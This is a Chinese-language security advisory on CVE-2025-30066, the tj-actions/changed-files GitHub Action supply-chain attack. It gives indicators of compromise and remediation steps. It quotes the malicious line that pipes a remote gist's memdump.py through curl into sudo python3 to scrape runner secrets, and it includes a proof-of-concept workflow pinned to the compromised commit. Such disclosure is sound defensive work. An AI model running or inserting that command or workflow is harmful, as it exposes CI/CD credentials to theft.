GitHub Actions 高危漏洞预警:CVE-2025-30066 供应链攻击泄露敏感凭证

本文详细分析了 CVE-2025-30066 漏洞,这是一个针对 GitHub Action `tj-actions/changed-files` 的供应链攻击。攻击者通过恶意修改版本标签,将窃取 CI/CD 环境中的密钥并打印到公开日志中,影响了超过 23,000 个仓库。

CVE-2025-30066

tj-actions/changed-files 版本 45.0.7 及之前版本存在漏洞,允许远程攻击者通过读取 Actions 日志来发现密钥。

漏洞详情

严重性:高

概述

一次供应链攻击入侵了 tj-actions/changed-files 这个 GitHub Action,影响了超过 23,000 个仓库。攻击者回溯性地修改了多个版本标签,使其指向一个恶意提交,从而将 CI/CD 密钥暴露在工作流日志中。该漏洞在 2025 年 3 月 14 日至 15 日期间存在,目前已被修复。这带来了未经授权访问敏感信息的重大风险。

此漏洞已在 v46.0.1 版本中修复。

详情

这次攻击涉及修改 tj-actions/changed-files GitHub Action 以执行一个恶意 Python 脚本。该脚本从 Runner Worker 进程内存中提取密钥,并将它们打印到 GitHub Actions 日志中,使得使用公开工作流日志的仓库中的这些密钥可以被公开访问。

关键入侵指标(IoC):

  • 恶意提交: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  • 回溯性更新的指向恶意提交的标签:
    • v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

恶意代码执行: 恶意脚本下载并执行了一个 Python 脚本,该脚本扫描内存以寻找密钥,对其进行 Base64 编码,然后记录到构建日志中:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

该脚本针对 Runner Worker 进程,提取并外泄其内存内容。

概念验证(PoC)

复现步骤:

  1. 创建一个使用 tj-actions/changed-files 动作的 GitHub Actions 工作流:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. 运行该工作流并检查 Actions 选项卡中的日志。
  2. 易受攻击的工作流可能在日志中显示密钥。

检测: 使用 Harden-Runner 分析网络流量,它可以检测到对以下地址的未经授权的出站请求:

1
gist.githubusercontent.com

实时复现日志: 🔗 Harden-Runner Insights 当异常检测标记出对 gist.githubusercontent.com 的未经授权出站网络调用时,此攻击被 StepSecurity 检测到。

漏洞持续时间

该漏洞在 2025 年 3 月 14 日至 15 日期间处于活跃状态。

所需操作

  1. 审查在 3 月 14 日至 15 日期间执行的工作流:

    • 检查 changed-files 部分是否有意外输出。
    • 使用以下命令解码可疑输出:
      1
      
      echo 'xxx' | base64 -d | base64 -d
      
    • 如果输出包含敏感信息(例如令牌或密钥),请立即撤销并轮换这些密钥。
  2. 更新引用受损提交的工作流:

    • 如果你的工作流直接通过其 SHA 引用恶意提交,请立即更新它们以避免使用受感染的版本。
  3. 使用标签版本的情况:

    • 如果你使用的是标签版本(例如 v35v44.5.1),则无需采取任何操作,因为这些标签已被更新,现在可以安全使用。
  4. 轮换可能暴露的密钥:

    • 作为预防措施,请轮换在此时间段内可能已暴露的任何密钥,以确保工作流的持续安全。

影响

  • 漏洞类型: 供应链攻击、密钥暴露、信息泄露
  • 受影响对象:
    • 超过 23,000 个使用 tj-actions/changed-files 的仓库。
    • 拥有公共仓库的组织面临最高风险,因为它们的日志可能已经泄露。
  • 潜在后果:
    • CI/CD 密钥(API 密钥、云凭证、SSH 密钥)被盗。
    • 未经授权访问源代码、基础设施和生产环境。
    • 公共仓库中的凭证泄露,可能引发进一步的供应链攻击。

参考资料

发布日期: 2025年3月15日 最后更新: 2025年10月22日

严重性评分

CVSS 总分: 8.6(高)

CVSS v3 基础指标:

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 范围:已更改
  • 机密性:高
  • 完整性:无
  • 可用性:无

EPSS 评分: 89.567% (第100百分位)

弱点

  • CWE-506: 嵌入恶意代码 - 产品包含看似具有恶意性质的代码。

标识符

  • CVE ID: CVE-2025-30066
  • GHSA ID: GHSA-mrrh-fwg8-r2c3
  • 源代码: tj-actions/changed-files

致谢

  • varunsh-coder (分析师)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计